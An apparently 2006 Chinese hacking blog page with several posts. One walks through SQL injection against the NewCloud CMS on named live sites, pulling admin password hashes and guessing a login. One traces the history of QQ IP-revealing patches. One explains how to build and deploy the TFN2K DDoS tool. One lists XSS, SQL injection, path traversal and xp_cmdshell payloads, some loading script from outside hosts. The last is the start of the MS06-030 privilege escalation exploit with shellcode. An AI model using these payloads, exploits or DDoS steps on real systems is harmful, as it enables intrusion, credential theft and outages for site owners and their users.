新云网站管理系统最新漏洞解析

2006年9月25日 没有评论 122 views

新云网站管理系统最新漏洞解析

by 萍水相逢
****************************************************************************************
一:绕过单引号继续注入漏洞(存在于SQL版中)

由于我这没有装SQL,这个漏洞就不演示了

二:修改任一用户资料漏洞

此漏洞同样存在于user/changeinfo.asp中
我们先在本地注册一个用户,我已经注册好了,用户123,选择修改资料,保存此网页并作修改。
选择我们要修改的用户名和ID,我这里选择TTFCT,ID为1,注意,修改前:
用户邮箱:t@t.com,密码提示问题是:who are you?
注意,修改前,我们得先登陆,我用123登陆
现在开始修改:成功修改,现在再次查看TTFCT的资料,注意到没有,被改了。我们现在来
取他密码,这是程序的BUG,如果程序正常,我们完全可以修改TTFCT的密码

三:SQL注入漏洞

漏洞测试网站一:云南黑客联盟

申请一个用户,登陆,然后发表文章,D:\YNHACK\USER\../inc/cls_main.asp网站路径
管理员数小于5,管理员数为3,第一个管理员用户名长度小于7,第一个管理员用户名长度为5
用户名第一个字母为a,第一个管理员用户名为 admin,MD5密码第一个是7,后面的我就不猜了,和猜
用户名同一个道理,不过,这里长度有16位。手工很慢,为此,使用UNION查寻来提高效率,
第一个管理员用户名 admin md5密码 7a57a5a743894a0e->admin.现在网速太慢。被锁定了,这是第
二个管理员 liucho0400 密码 b086f71d080453fa,第三个 灵男 密码581abc28e23d1669,后面的工作
我就不作了,如果拿到解密后的密码进入后台轻易得到WEBSHELL

漏洞测试网站二:新云官方网站

不能注册,社会工程学来 admin admin 不行 123 123 不行,123456 123456 成功进入,发表文章
进行了错误处理,提交 --,正常,说明是sql版,直接加用户,我们在nc_user中加一个用户名和密码
都为 123的用户,先MDB转化一下,123->ac59075b964b0715,提交
insert into nc_user(username,password) values('123','ac59075b964b0715'),现在登陆试试,
可能数据库中有这个用户了吧,那我们它密码
update nc_user set password='ac59075b964b0715' where username='123',成功。
现在利用辅助工具注入,前提是要登陆,不好意思,要用123456登陆才能看自己的文章
好,现在已成功注入了。

至于拿WEBSHELL的事,我就不去搞了。大家自己发挥吧


此漏洞存在于ACCESS和SQL版中,漏洞页面为user/articlelist.asp

and (select count(*) from nc_admin)<5 查看管理员数
and (select count(*) from nc_admin)=3
猜管理员用户名长度和用户名
and (select len(username)<7 from nc_admin where id=1)
and (select len(username)=5 from nc_admin where id=1)
and (select id from nc_admin where left(username,1)= 'a' and id=1)
and (select id from nc_admin where left(username,2)= 'ad' and id=1)

猜管理员MD5密码
and (select id from nc_admin where left(password,1)='7' and id=1)

UNION查寻
union select 1,2 ,password,4,5, username,7,8,9 from nc_admin where id=1

分类: 技术文章 标签:

[转载]浅谈IPQQ软件的技术发展轨迹 作者:疯狂绅士

2006年9月25日 没有评论 71 views

声明,本文章未经过疯狂绅士与runjin的同意不得转载。

浅谈IPQQ软件的技术发展轨迹

疯狂绅士、RunJin

摘要:本文先给出了IPQQ的界定,并介绍了不同历史时期具有里程碑意义的IPQQ。根据几个具有里程碑意义的IPQQ,作者简要的分析了其技术特点,并以此阐述IPQQ软件的发展轨迹。

关键字: IPQQ、破解、木子QQ、外挂、珊瑚虫外挂

一、IPQQ历史回顾
QQ作为国内用户量最大的IM,专门针对其发布一些附加功能是一个古老的话题。在QQ的弹出窗口上显示发消息用户IP的变种QQ成为大家最常用的工具,这种工具我们称为IPQQ。
1999年,IPQQ的始祖出现了,是在QQ的前身OICQ时候出现的。邹丹制作的破解版,可以说形式上开创了一个时代。尽管时间过去了好几年,邹丹创立的模式几乎成为了一种标准——密界的标准,以后所有QQ显IP的方式都是继承邹丹显示IP的方式。
邹丹的这一举动,在当时引起了一大片争议声。邹丹也收到了腾讯的律师函,邹丹考虑再三后,退出了为制作IPQQ的行列。
接下来又有好多个勇士站了出来,其中最有名的是木子。木子的软件非常流行,与邹丹的软件相比,它的框架更好,更稳定,同时支持不同版本的QQ。木子的这个框架影响了大量的刚出道的Cracker,包括本文的作者之一 ——RunJin,其发布的飘云版QQ在一段时期里面被人骂成了剽窃。期间有很多显IP的QQ,说白了都是参考木子的,其中绝大部分根本就是木子的版本,不过是改了几个字或很取巧的换上自己的标签而已。
珊瑚虫前身的出现又是一个里程碑,这东西由Cygwin捣腾出来的。先揭一下Cygwin的老底,此人与疯狂绅士同是水木清华黑客版版主。
珊瑚虫QQ外挂的原型是Cygwin大概用了两天写出来的。这东西的出现让腾讯大为挠头,因为这个软件本身并没有修改QQ的任何程序。它是一个单存的外挂形式,因此避免了相关的法律问题。要说明的是珊瑚虫的历史比木子更早。可以说,珊瑚虫就是紧接着邹丹的版本出现的。这个时期的珊瑚虫完全由soff制作,不过这个时候的珊瑚虫不是外挂形式,同时质量非常高,与一年后出现的木子版相比也毫不逊色。这也是后来Quaful和cygwin找到soff合作的原因。这个时期的珊瑚虫版本因为收到了腾讯的律师信而被迫中止,所以给了后来木子兴起的机会。
由于珊瑚虫外挂不涉及到版权问题,并且其性能优越,导致了珊瑚虫外挂的下载量急剧的增大,从一些网站的分析来看,它甚至超过了QQ本身的下载量。珊瑚虫的成功在于它不断的推出新版本,作者大致统计了一下,从珊瑚虫0.1版到现在的4.0beta版,珊瑚虫一共推出了61个版本(不包括4.0以下的测试版)。正是由于珊瑚虫不懈的努力,使得珊瑚虫外挂声名远扬。
也许是精力的问题,当珊瑚虫的第二任作者soff觉得天天追赶着QQ的新版本而被迫推出一个个新版本觉得实在是很无趣的时候,内心深处对珊瑚虫来一个大变化已经变得很迫切。在外挂思维以及GAIM与Luma QQ等思想的指引下,Soff考虑一种新的方式,这个方式的执行者是Qulful,Qulful卖命的写出了珊瑚虫QQ4.0。
珊瑚虫QQ4.0又是一个里程碑,简单的说,以前的版本只要耐心去检查QQ的内存,总能找到IP地址的入口。因此可以说在珊瑚虫4.0之前的显IP的版本大都是一个简单的Cracker过程,只要能看懂段刚(看雪)《加密与解密》一书,折腾出某个IPQQ不是一见很难的事情。就是做一个外挂形式的IPQQ也并非难事。而珊瑚虫4.0可以说从根本上解决这个问题,它直接截获的是QQ的网络包,从网络包中获取其IP地址的。
从上面的简单的回顾,我们可以看出IPQQ的几个里程碑。
1、邹丹,IPQQ的开山鼻祖,IPQQ形式的确立。
2、木子,IPQQ的中兴,确立其成为修改QQ函数的地址方式的IPQQ的霸主地位。
3、Cygwin,IPQQ的转折,以外挂的形式击败了修改函数地址方式,成为了近两年来事实上IPQQ的霸主。
4、Quaful,思路的拓展,IPQQ也许只是珊瑚虫外挂的一个简单运用而已。

上述四个里程碑中,由于邹丹的版本太久远,这里不作讨论,本文仅就后3个里程碑简单的来分析一下其技术思路,尤其是后两种。

二、木子显IPQQ版本原理简介
与所有的破解软件一样,都有一个原则——点穴。木子与其它所有的IPQQ一样,都是很偷懒的,都是试图只通过修改几个字节,就达到想要的效果。
对于IPQQ来说,能利用QQ原来的功能就利用原来的功能。这似乎是一条铁律。
木子IPQQ,在网上已经可以下载到它的代码。这里只讲解木子IPQQ的部分代码。
SetIP proc
pushad
;=================取得IP地址==================;
mov eax,dword ptr [ebp-10h]
push offset dwIp
push offset szRecentip
push eax
mov ecx, [eax]
call dword ptr [ecx+34h]
;=================取得端口号==================;
……
;=================取得版本号==================;
……
not2003:
下面我们再看飘云的IPQQ的代码。
pushad
; =================取得IP地址==================;
mov eax,dword ptr [ebp-14h]
push offset dwIp
push offset szRecentip
push eax
mov ecx,[eax]
call dword ptr [ecx+34h]
cmp dwIp,0 ;是否已经取得IP
……
上面给出了两个不同IPQQ的如何获得IP地址部分的,这两段代码是针对不同版本的QQ。黑体字表示上述的不同地方。
由此我们可以看到,要制作IPQQ核心是找到显示IP的那个函数的入口。这个函数的查找是个关键。而木子的出现其意义在于他给出了一个框架。因此很多后续的IPQQ就更偷懒,他们只是参考木子的版本,在取IP的原理上只要改动一点就可以了。
木子制作的IPQQ可以说是能利用QQ的功能就尽量利用QQ的功能。而很多后来者制作的IPQQ其原则是,能利用木子就尽量利用木子。上述给出的飘云的IPQQ代码就是一个例子。

三、珊瑚虫4.0以下版本原理。
"珊瑚虫最初版很简单的,也参考了之前别人修改的方法,比如版本库就是直接盗用木子的,不过这个版本库盗用不是技术盗用,不被人介意的。"这段话是珊瑚虫的作者Cygwin所说的。
珊瑚虫外挂版本与木子版本比起来最大的不同在于——其利用了钩子的技术,不知道其是否用到了win2k的SDK包,否则这段代码都可以直接参考。是在QQ运行的时候获得了其IP地址的。而不是象木子一样直接给出一个显IP的破解版本。然而,在取得IP的原理上,珊瑚虫和木子是基本相同和飘云的更是非常相象。
下面是珊瑚虫3.16的取IP部分反汇编代码:
mov eax,dword ptr ss:[esp+10]
lea ecx,dword ptr ss:[esp+1C]
push ecx
push DUMPED.01B8D9EC ; ASCII对应的字符为"dwRecentIP"
mov edx,dword ptr ds:[eax]
push eax
call dword ptr ds:[edx+34]
………………………………………..
mov eax,dword ptr ss:[esp+10]
lea ecx,dword ptr ss:[esp+1C]
push ecx
push DUMPED.01B8D9D8 ; ASCII对应的字符为"dwC2CIP"
mov edx,dword ptr ds:[eax]
push eax
call dword ptr ds:[edx+34]
…………………………………..
mov eax,dword ptr ss:[esp+10]
lea ecx,dword ptr ss:[esp+1C]
push ecx
push DUMPED.01B8D9C8 ; ASCII对应的字符为 "dwIP"
mov edx,dword ptr ds:[eax]
push eax
call dword ptr ds:[edx+34]

虽然寄存器的具体使用不同,但动态调试的时候就会发现,其调用的函数和飘云的是一样的。

珊瑚虫的原理可以用下面的话简要来表达。
1、 绕开原来的流程
2、 获取IP
3、 把自己的窗体挂上QQ的窗体
4、 把获取的IP显示在自己的窗体上
RunJin用softice 、OllyDbg在: win 2000 sp4 , win 98操作系统对 QQ2005贺岁版珊瑚虫外挂进行了分析。
由于win nt 平台和win9x 的差异,珊瑚虫外挂因系统的不同而分开两种工作原理。珊瑚外挂是给QQ的主程序QQ.exe外挂了一个Coralqq.dll,而完成这个工作的就是coralqq.exe .要加载一个dll文件必须是qq.exe。
在win2000/xp下coralqq.exe先创建QQ的进程,同时也就创建了QQ的暂停的主线程,接着往QQ进程的内存写入代码,修改Ntdll.NtTestAlert的代码让程序跳到附加代码处执行,在执行的过程中恢复Ntdll.NtTestAlert处被改了的代码,同时加载Coralqq.dll。
在win9x下,coralqq.exe先创建QQ的进程,同时也就创建了QQ的暂停的主线程,接着在QQ.exe的内存写数据,改写QQ.exe的oep从而达到改变程序流程的目的,让其先执行附加代码,加载Coralqq.dll,加载完后再跳到原来的QQ.exe的oep的下一条指令继续执行。详见RunJin的<<珊瑚虫外挂原理分析>>一文。
从RunJin的分析可以看出,珊瑚虫外挂想得很周到的,它绕开原来QQ的流程也是非常巧妙。当然如何高效的利用钩子大家可以去看相关的文章,这里不再详述。
可以这么说,珊瑚虫最大的特色是,用C++代替原来木子的部分代码。而这段代码的前面部分又是那么的巧妙的绕开了原来QQ的流程。
正如木子版本一样,越来越多的人利用上了一个原则——能用珊瑚虫的功能就尽量利用珊瑚虫的功能。
QQ狂人DIY版是把珊瑚虫外挂注入到QQ.exe里面,以实现直接点QQ.exe就可以直接启动珊瑚虫外挂的目的。
这类把外挂形式又变成了非外挂形式。它们所用的工具:LordPE,详细的教程在网上有下载。最终出来的IPQQ部分机器可能不兼容,但是大部分是可以的。

四、珊瑚虫4.0 IPQQ原理简介
珊瑚虫4.0可以说是IPQQ有史以来一个最重大的突破。在介绍这个版本必须提到KQL库(Kwafu QQ Library)。
KQL是怎么出来的呢?全是LumaQQ给逼的。那个如来神掌的影响力实在太大了,人人都问珊瑚虫:"珊瑚虫为什么不做如来神掌啊?"当然在3.x的架构下是不可能的事情。后来Quaful就说,干脆把LumaQQ移植过来,这样就能实现了。后来Quaful用了2个月的时间完成了这个工作。Kwafu是Quaful的一个马甲的名字,所以叫做Kwafu QQ Library。至于说KQL带来的QQ版本无关的其他好处,都是附带的好处了。
Windows平台下的KQL库重点是最大限度的保持和官方QQ客户端的兼容性,所以,KQL库是做为一个"外挂"来开发,它的表面功能全都还是依附于官方QQ客户端来实现的。对于用户来说,就是不会影响传送文件、视频聊天等功能,珊瑚虫新增加的功能对原来的影响都尽可能的小。这个库很多内容是参考LumaQQ。因此Quaful把Luma等人也列为作者。
在跟Quaful通过几次邮件后,作者个人的看法是珊瑚虫4.0最重大的变化在于,原来主要是截获内存里面的东西,现在是直接截获一个个网络包。
原来的方法基本上不用了解QQ的通讯协议,背后的方法是要深入到QQ的协议里面去。
原来的方法如果QQ重新写过一个客户端,尤其是更改一下获得IP地址的函数名字等,那么IPQQ基本上要重新来过一次。而采用4.0的方式基本上没有这个后顾之忧。它所需要做的是重新钩一个窗体而已,因为腾讯不会不顾通讯协议的不兼容而抛弃大量的用户的。
从技术思想上来说,原来的方法是紧密依靠QQ,现在呢是我只是依靠QQ一下而已。
对于这款外挂我曾经建议过Quaful用驱动的方式来写,也就是我能知道QQ的任意一个包,发给谁,是什么IP与端口。因为用驱动写是直接到网络的低层,占用的系统资源更少,但开发的工作量要增加非常的多。从工程的角度上来讲并不划算。
我把这个想法告诉Quaful后,他一直打击我的看法。Quaful声称:"用驱动层拦截QQ包并不会比现在更省资源。无论是TDI还是NDIS,对系统的影响都是全局的,不仅会影响QQ,还会影响所有的应用程序。这是更加消耗系统资源的做法。"
作者曾试图在Win2k的DDK包中根据相关的例子来分析,但发现工作巨大,因此放弃。但从相关的效果上看,Quaful是对的。从驱动层来写,的确对系统的影响是全局的。但我认为这种写法更有扩充性。
五、总结
在不同时期的IPQQ中我们看到了他们之间的继承关系。如果深入到最核心的技术中去考察这个问题,我们可以看到,四个IPQQ可以用如下的话来概括。
1、邹丹,我第一个改QQ。
2、木子,我改QQ改出套路来了。
3、Cygwin,我在运行的时候改QQ。
4、Quaful,QQ你改吧,你怎么改我都能逮住你。
此外,我们也可以看到其它一些作者的思路。
1、 木子、珊瑚虫你能改QQ我能改你!
2、 木子、珊瑚虫你先改吧,我学你的样改。

在上述四个IPQQ中作者最欣赏珊瑚虫4.0,个人认为其发展的方向非常多。当然目前的版本是通过sokect来分析的。这样做相对来说比较占内存,速度也不够快。

文中涉及到如下人物:
作者: 疯狂绅士 原水木清华黑客版版主

作者:RunJin 飘云的老大 现读本科二年级

邹丹,78年出生
木子,姓名保密
Cygwin,姓名 保密 原水木清华黑客版版主
Soff 姓名 保密 北京理工大学当老师
Quaful,姓名 保密 清华大学在读博士

分类: 技术文章 标签:

分布式拒绝攻击(DDOS)软件tfn2k攻防

2006年9月25日 没有评论 123 views

首先,我写这篇文章的目的,并不是我想成为什么hacker之类,而且我不并不鼓励任何人利用它来做一些有损他人的事情,我只是想多一些人关注网络安全,共同研究并防御DOS。因为我是深受其害:(,所以,这篇文章仅用于技术参考,供大家研究DDOS防御之用。如果你利用它来 做一些不合法的事情,那结果与我无关。

拒绝服务攻击(DOS,Denial Of Service)可以指任何使服务不能正常提供的操作。如软件bug,操作失误等。不过现在因为失误操作而造成的dos,可能性非常小,更多的是恶意的攻击行为。现在拒绝服务攻击早已演变为分布式拒绝服务攻击(DDOS,Distributed Denial Of Service),利用更多的代理集中攻击目标,其危害更大。

我们大家都知道tcp/ip协议现在已经成为整个internet框架协议,可以说,如果没有tcp/ip,至少internet不会像现在这样普及,甚至不可能会有internet。但凡事皆有两面性,tcp/ip使我们大家受益,同时因为协议本身构造的问题,它也成为别人攻击我们的工具。我们以tcp三握手建立连接的过程来说明。

一。tcp syn flood

1.客户端(client)发送一个包含SYN(synchronize)的tcp包至服务器,此数据包内包含客户端端口及tcp序列号等基本信息。

2.服务器(server)接收到SYN包之后,将发送一个SYN-ACK包来确认。

3.客户端在收到服务器的SYN-ACK包之后,将回送ACK至服务器,服务器如接收到此包,则TCP连接建立完成,双方可以进行通讯(感觉像,一拜天地...二拜高堂...送入洞房...哈哈)
问题就出在第3步,如果服务器收不到客户端的ACK包,将会等待下去,这种状态叫做半连接状态。它会保持一定时间(具体时间不同操作系统不同),如果SYN请求超过了服务器能容纳的限度,缓冲区队列满,那么服务器就不再接收新的请求了,其他合法用户的连接都被拒绝掉。这种攻击往往事半罪倍,杀伤力超强。

当然,DOS攻击的方法多种多样,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具体原理的介绍大家可以到http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很详细的原理及常用攻击软件介绍。不过说到DOS攻击软件,最具代表的莫过于tfn2k (Tribe Flood Network 2000),其作者是德国大名鼎鼎的mixter( 其主页http://mixter.void.ru/papers.html),好像最近正在埋头搞什么tfn3k,哎~~,不知道又有多少人寝食难安了...

二.tfn2k攻击原理

1.tfn2k的攻击体系。

tfn2k应该算是DDOS攻击中的代表作,其所能实现的功能让人瞠目结舌,叹为观止...(对它的敬畏有如滔滔江水,延续不绝...)来看看它的架构。

主控端---运行tfn客户端,来遥控并指定攻击目标,更改攻击方法.(罪大恶极)

代理端---被植入并运行td进程的牺牲品,接受tfn的指挥,攻击的实施者.需要注意的是,一个攻击者,往往控制多台代理来完成攻击,而且其系统多为unix,linux等.(可怜的牺牲品)

目标主机---被攻击的主机或网络,曾经被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁闷如我)

2.tfn2k特性。

◆ 主控端通过TCP、UDP、ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令,攻击方法包括TCP/SYN、UDP、

ICMP/PING、混合攻击、TARGA3等。

◆ 主控端与代理端的通讯采取单向,即主控端只向代理端发送命令,并且会采取随机的头信息,甚至虚拟的源地址信息,代理端不会逆向向主控端发送任何信息.

◆ 所有命令经过cast-256算法加命,其关键字即编译程序时的输入的口令.并且这个口令做为唯一认证凭证.

◆ 利用td进程,主控端可以远程执行shell命令.

◆ td进程的名称可以在编译时更改,更便于隐藏.

◆ tfn可以编译运行于win32及linux系统的.

...

至于伪造源IP地址等功能,更是基本功能,并且其与老版本的tfn相比,它的发包效率更高,我自已的测试,在短短不到5分钟,两台代理机,使我的redhat linux 9.0系统瘫痪.

三.tfn2k 实战测试

1.测试环境:

软件:redhat linux 9.0

硬件平台:

master:

IP: 192.168.0.6

PIV2.4/256*2/rtl8139

Ag1 :

IP: 192.168.0.2

PIV2.4/256*/rtl8139

AG2 : IP: 192.168.0.3

pIV2.6/512*2/3c905

AIM: 192.168.0.5

pIV2.66c/512*2/3c905

switch: D_link des 1024R

1.下载tfn2k.tgz(因为此软件非比寻常,所以我并不提供下载地址,如果有兴趣,自已到网上找吧)

2.解压: tar zxvf tfn2k.tgz

3.修改文件

A. src/Makefile 如果你的系统是linux系统,不需要做任何修就可以,如果是win32系统,请将

# Linux / *BSD* / Others

CC = gcc

CFLAGS = -Wall -O3

CLIBS =

这几行注释掉,并将

# Win32 (cygwin)

#CC = gcc

#CFLAGS = -Wall -DWINDOZE -O2

#CLIBS =

这几行的注释去掉.因为我的测试系统为redhat linux 9.0所以并未做任何修改.

B. src/config.h ,默认的就可以用,如果感兴趣,可以照其注释信息进行调整。

C. src/ip.h 这里要做一些修改,否则编译会有错误,发生重复定义。

/*struct in_addr

{

unsigned long int s_addr;

};*/

注意啊~~我可是将它放在"/* */"之间,也就是注释掉了:)

D.更改编译器:

因为tfn2k支持的是egcs-1.1.2-30,而redhat linux 9.0所包含的是gcc-3.2.2-5,所以如果不替换掉gcc,tfn2k是编译不过去的.需

要注意的是,更改之后,有可能会造成基于gcc3.2.2的软件编译不去,请谨慎而行.

方法很简单的,找到一张redhat linux 6.2安装盘,将egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/

cd /mnt/cdrom/Redhat/RPMS

cp egcs-1.1.2-30* cpp-1.1.2-30* ~/

安装cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm

安装egcs rpm -Uvh egcs-1.1.2-30.i386.rpm (如果提示有误,用nodeps、oldpackages、ignoreos等参数忽略过去就是了)

4.编译tfn2k

cd tfn2k/src

make

首先会谈出一个声明,你必须接受,之后会提示输入8-32位密码,前边提到过,这是唯一的认证凭证,会被分发于td进程中,所以一定

要记牢噢~。

编译通过后,会产生td及tfn,这就是大名鼎鼎的tfn2k啦~,td是守护进程,用来安装在代理中的,而tfn就是控制端.

5.安装td.

将td上传到我的两台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因为我只不过测试,所以用的是合法的root来上传并执行td进程的,如果真要找到并安装一个代理,你可能得费点儿神,因为没有一个管理员会说"come on baby ~~.我给你root,来安装td做代理吧"

[root@test /] ftp 192.168.0.2

Connected to 192.168.0.2.

530 Please login with USER and PASS.

530 Please login with USER and PASS.

Name (192.168.0.2:root): wjpfjy

331 Please specify the password.

Password:

230 Login successful. Have fun.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> put td (上传td)

local: td remote: td

227 Entering Passive Mode (192,168,0,3,198,225)

553 Could not create file.

ftp> by (退出ftp)

221 Goodbye.

[root@test /]ssh 192.168.0.2 登陆到ag1 以执行td ,注意,

分类: 技术文章 标签: ,

XSS测试语句大全

2006年9月25日 1 条评论 88 views

XSS测试语句大全:

'><script>alert(document.cookie)</script> 
='><script>alert(document.cookie)</script> 
<script>alert(document.cookie)</script> 
<script>alert(vulnerable)</script> 
%3Cscript%3Ealert('XSS')%3C/script%3E 
<script>alert('XSS')</script> 
<img src="javascript:alert('XSS')"> 
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp 
%22%3cscript%3ealert(%22xss%22)%3c/script%3e 
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini 
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e 
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html 
%3f.jsp 
%3f.jsp 
<script>alert('Vulnerable');</script> 
<script>alert('Vulnerable')</script> 
?sql_debug=1 
a%5c.aspx 
a.jsp/<script>alert('Vulnerable')</script> 
a/ 
a?<script>alert('Vulnerable')</script> 
"><script>alert('Vulnerable')</script> 
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& 
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E 
%3Cscript%3Ealert(document. domain);%3C/script%3E& 
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= 
../../../../../../../../etc/passwd 
..\..\..\..\..\..\..\..\windows\system.ini 
\..\..\..\..\..\..\..\..\windows\system.ini 
'';!--"<XSS>=&{()} 
<IMG SRC="javascript:alert('XSS');"> 
<IMG SRC=javascript:alert('XSS')> 
<IMG SRC=JaVaScRiPt:alert('XSS')> 
<IMG SRC=JaVaScRiPt:alert("XSS")> 
<IMG SRC=javascript:alert('XSS')> 
<IMG SRC=javascript:alert('XSS')> 
<IMG SRC=javascript:alert('XSS')> 
<IMG SRC="jav  ascript:alert('XSS');"> 
<IMG SRC="jav
ascript:alert('XSS');"> 
<IMG SRC="jav
ascript:alert('XSS');"> 
"<IMG SRC=java\0script:alert(\"XSS\")>";' > out 
<IMG SRC=" javascript:alert('XSS');"> 
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT> 
<BODY BACKGROUND="javascript:alert('XSS')"> 
<BODY ONLOAD=alert('XSS')> 
<IMG DYNSRC="javascript:alert('XSS')"> 
<IMG LOWSRC="javascript:alert('XSS')"> 
<BGSOUND SRC="javascript:alert('XSS');"> 
<br size="&{alert('XSS')}"> 
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> 
<LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 
<IMG SRC='vbscript:msgbox("XSS")'> 
<IMG SRC="mocha:[code]"> 
<IMG SRC="livescript:[code]"> 
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> 
<IFRAME SRC=javascript:alert('XSS')></IFRAME> 
<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET> 
<TABLE BACKGROUND="javascript:alert('XSS')"> 
<DIV STYLE="background-image: url(javascript:alert('XSS'))"> 
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> 
<DIV STYLE="width: expression(alert('XSS'));"> 
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 
<IMG STYLE='xss:expre\ssion(alert("XSS"))'> 
<STYLE TYPE="text/javascript">alert('XSS');</STYLE> 
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> 
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> 
<BASE HREF="javascript:alert('XSS');//"> 
getURL("javascript:alert('XSS')") 
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d); 
<XML SRC="javascript:alert('XSS');"> 
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><" 
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT> 
<IMG SRC="javascript:alert('XSS')" 
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"--> 
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> 
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT> 
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> 
admin'-- 
' or 0=0 -- 
" or 0=0 -- 
or 0=0 -- 
' or 0=0 # 
" or 0=0 # 
or 0=0 # 
' or 'x'='x 
" or "x"="x 
') or ('x'='x 
' or 1=1-- 
" or 1=1-- 
or 1=1-- 
' or a=a-- 
" or "a"="a 
') or ('a'='a 
") or ("a"="a 
hi" or "a"="a 
hi" or 1=1 -- 
hi' or 1=1 -- 
hi' or 'a'='a 
hi') or ('a'='a 
hi") or ("a"="a

分类: 技术文章 标签:

MS06-030 Windows Kernel Mrxsmb.sys Local Privilege

2006年9月25日 没有评论 71 views

/*
MS06-030 Windows Kernel Mrxsmb.sys Local Privilege Escalation Vulnerability Exploit
created by SoBeIt

Main file of exploit

Tested on:

Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 Rollup 1 Chinese
Windows 2000 PRO SP4 English
Windows 2000 PRO SP4 Rollup 1 English
Windows XP PRO SP2 Chinese
Windows XP PRO SP2 English

Usage:ms06-030.exe
*/

#include <stdio.h>
#include <windows.h>
#include <psapi.h>

#pragma comment(lib, "psapi.lib")

#define NTSTATUS int
#define ProcessBasicInformation 0
#define SystemModuleInformation 11

typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL ZwVdmControl;
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknow;
USHORT LoadCount;
USHORT ModuleNameOffset;
char ImageName[256]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
//ntoskrnl.exe
{"ZwTerminateProcess"},
{"PsLookupProcessByProcessId"},
{""},
};

unsigned char shellcode[] = 
"\x90\x60\x9c\xe9\xc4\x00\x00\x00\x5f\x4f\x47\x66\x81\x3f\x90\xcc"
"\x75\xf8\x66\x81\x7f\x02\xcc\x90\x75\xf0\x83\xc7\x04\xbe\x38\xf0"
"\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7\x95"
"\x8b\xf7\x6a\x02\x59\xe8\x4d\x00\x00\x00\xe2\xf9\x8b\x4e\x0c\xe8"
"\x29\x00\x00\x00\x50\x8b\x4e\x08\xe8\x20\x00\x00\x00\x5a\x8b\x7e"
"\x1c\x8b\x0c\x3a\x89\x0c\x38\x56\x8b\x7e\x14\x8b\x4e\x18\x8b\x76"
"\x10\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3\x83\xec\x04"
"\x8d\x2c\x24\x55\x51\xff\x56\x04\x85\xc0\x0f\x85\x80\x8f\x00\x00"
"\x8b\x45\x00\x83\xc4\x04\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78"
"\x03\xf5\x56\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33"
"\xdb\x0f\xbe\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1"
"\x3b\x1f\x75\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e"
